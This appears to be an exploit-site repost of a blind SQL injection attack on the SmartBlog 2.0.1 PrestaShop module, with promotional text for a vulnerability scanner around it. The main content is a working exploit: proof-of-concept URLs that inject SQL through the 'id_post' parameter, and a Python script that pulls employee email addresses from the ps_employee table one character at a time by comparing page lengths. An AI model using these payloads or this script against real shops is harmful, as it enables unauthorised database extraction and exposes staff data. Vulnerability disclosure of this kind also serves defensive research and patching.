smartblog 2.0.1 id_post blind sql injection

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




smartblog 2.0.1 id_post blind sql injection Code Code...
				
# Exploit Title: SmartBlog 2.0.1 - 'id_post' Blind SQL injection # Date: 2020-11-05 # Exploit Author: C0wnuts # Vendor Homepage: https://github.com/smartdatasoft/smartblog # Version: 2.0.1 # Tested on: Linux # Description : A blind SQL injection is present in the "id_post" parameter of the "details" controller. It allows you to extract information from the database by means of successive character tests. # POC: # ------------------------- # http://localhost/[script_path]/index.php?fc=module&module=smartblog&id_post=<valid post number> or {SQL}&controller=details # ------------------------- # Exemple: # 1. Test if the first character of the database name is "t": # http://localhost/index.php?fc=module&module=smartblog&id_post=1 or substring(DATABASE(),1,1)='t'&controller=details # 2. Test if the first character of the email of the first account is "a": # http://localhost/index.php?fc=module&module=smartblog&id_post=1 or substring((SELECT email FROM ps_employee LIMIT 1 offset 0),1,1)='a'&controller=details # ------------------------- # Script PYTHON (python 3) import requests, string from requests.adapters import HTTPAdapter from requests.packages.urllib3.util.retry import Retry initialUrl = 'https://localhost.com/index.php?fc=module&module=smartblog&id_post=4329824944' endOfUrl = '&controller=details' # Change this to http:// if the website is not in https protocol = "https://" offset = 0 endData = 0 end = 0 iteration = 0 charList = string.printable # The character returned by the db when you reach the end of the extracted information. In my case that was "+" but it can be "\", or " " or whatever. /!\ Just test and hange this value according to your needs /!\ endChar = "+" # The length of the page when the SQLI failed. In my case that was 16094. If the lenght of the content of the page is higher than this value is that the character tested is the right one. /!\ Just test and hange this value according to your needs /!\. FailPageLen = 17000 # Mysql is not case sensitive but if the db used by the website is cse sensitive remove the following line charList = charList.replace("ABCDEFGHIJKLMNOPQRSTUVWXYZ","") while endData == 0: contentInfo = "" iteration = 0 end = 0 while end == 0: iteration = iteration + 1 for elem in charList: url = initialUrl #This request get email of all employee. Replace the request by whatever you want but keep in mind that the script extract information 1 character by 1 character then you need to keep '+str(offset)+' and substring(,'+str(iteration)+',1). "elem" is the character tested request = '%20or%20substring((SELECT%20email%20FROM%20ps_employee%20LIMIT%201%20offset%20'+str(offset)+'),'+str(iteration)+',1)=%27'+elem+'%27' url += request + endOfUrl retry_strategy = Retry( total = 30, backoff_factor = 0.2, method_whitelist = ["GET" "POST"] ) adapter = HTTPAdapter(max_retries=retry_strategy) http = requests.Session() http.mount(protocol, adapter) response = http.get("{}".format(url)) if len(response.content) > FailPageLen: print(contentInfo) if(elem == endChar): end = 1 if contentInfo == "": endData = 1 else: contentInfo = contentInfo + elem break if contentInfo == "": endData = 1 print(contentInfo) offset = offset + 1

Smartblog 2.0.1 id_post blind sql injection Vulnerability / Exploit Source : Smartblog 2.0.1 id_post blind sql injection



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.